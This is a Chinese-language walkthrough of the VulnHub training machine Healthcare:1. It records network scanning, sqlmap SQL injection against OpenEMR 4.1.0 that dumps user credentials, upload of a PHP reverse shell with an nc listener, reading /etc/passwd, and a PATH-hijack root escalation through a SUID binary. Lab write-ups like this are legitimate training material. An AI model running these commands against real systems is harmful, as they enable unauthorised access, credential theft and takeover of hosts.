OSCP难度靶机之Healthcare:1

admin 2023年1月23日15:12:23评论182 views字数 1476阅读4分55秒阅读模式
虚拟机下载地址:https://www.vulnhub.com/entry/healthcare-1,522/
虚拟机简介:这台机器是为了训练学生根据 OSCP 方法进行思考而开发的
目标:2个flag,包含user.txt和root.txt
级别:中级

1、信息收集

1.1通过arp-scan检测主机IP地址

arp-scan 192.168.207.0/24

OSCP难度靶机之Healthcare:1

1.2 通过nmap进行端口扫描

nmap -A -sS -sV -v -p- 192.168.207.142

查看开放21和80端口

OSCP难度靶机之Healthcare:1

2、渗透测试

2.1 WEB渗透

1.站点访问测试

访问站点显示如下页面

OSCP难度靶机之Healthcare:1

使用dirb进行目录扫描,发现部分信息,但是无法访问

dirb http://192.168.207.139

OSCP难度靶机之Healthcare:1

使用gobuster加载seclists字典进行爆破

gobuster dir -u http://192.168.207.142 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt    

OSCP难度靶机之Healthcare:1

2.查询CMS相关漏洞

基于站点获取到的信息为OpenEMR v4.1.0

OSCP难度靶机之Healthcare:1

通过searchsploit发现存在SQL注入漏洞

searchsploit OpenEMR 4.1.0

OSCP难度靶机之Healthcare:1

使用SQLMAP进行测试

sqlmap -u http://192.168.207.142/openemr/interface/login/validateUser.php?u= --dbs --batch

OSCP难度靶机之Healthcare:1

3.爆破账号密码

爆破到账号密码信息账号admin,密码为:ackbar

sqlmap -u http://192.168.207.142/openemr/interface/login/validateUser.php?u= -D openemr -T users --dump --batch

OSCP难度靶机之Healthcare:1

使用admin账号和爆破的密码已经成功登录

OSCP难度靶机之Healthcare:1

测试使用medical作为账号和密码成功登录FTP

OSCP难度靶机之Healthcare:1

4.上传webshell

通过在FTP中可以直接访问/var/www/html目录

OSCP难度靶机之Healthcare:1

修改反弹shell木马连接,下载地址:https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

OSCP难度靶机之Healthcare:1

上传反弹shell木马,并开启NC监听,访问URL为http://192.168.207.142/openemr/shell.php

OSCP难度靶机之Healthcare:1

获取到反弹shell连接

OSCP难度靶机之Healthcare:1

2.2 主机渗透

1.查看本地账号

查看本地账号中存在medical账号

cat /etc/passwd

OSCP难度靶机之Healthcare:1

切换为medical账号

su medical
python -c 'import pty; pty.spawn("/bin/bash")'

OSCP难度靶机之Healthcare:1

2.查找本地SUID文件

发现healthcheak文件存在SUID权限

find / -perm -u=s -type f 2>/dev/null

OSCP难度靶机之Healthcare:1

3.查看该文件的字符串

在字符串内容中包含fdisk命令

strings /usr/bin/healthcheck

OSCP难度靶机之Healthcare:1

4.使用环境变量提权

cd /tmp
echo "/bin/bash" > fdisk
chmod 777 fdisk
export PATH=/tmp:$PATH
/usr/bin/healthcheck

OSCP难度靶机之Healthcare:1

5.查看FLAG信息

cat /home/almirant/user.txt
cat /root/root.txt

OSCP难度靶机之Healthcare:1

原文始发于微信公众号(安全孺子牛):OSCP难度靶机之Healthcare:1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月23日15:12:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSCP难度靶机之Healthcare:1https://cn-sec.com/archives/1407579.html

发表评论

匿名网友 填写信息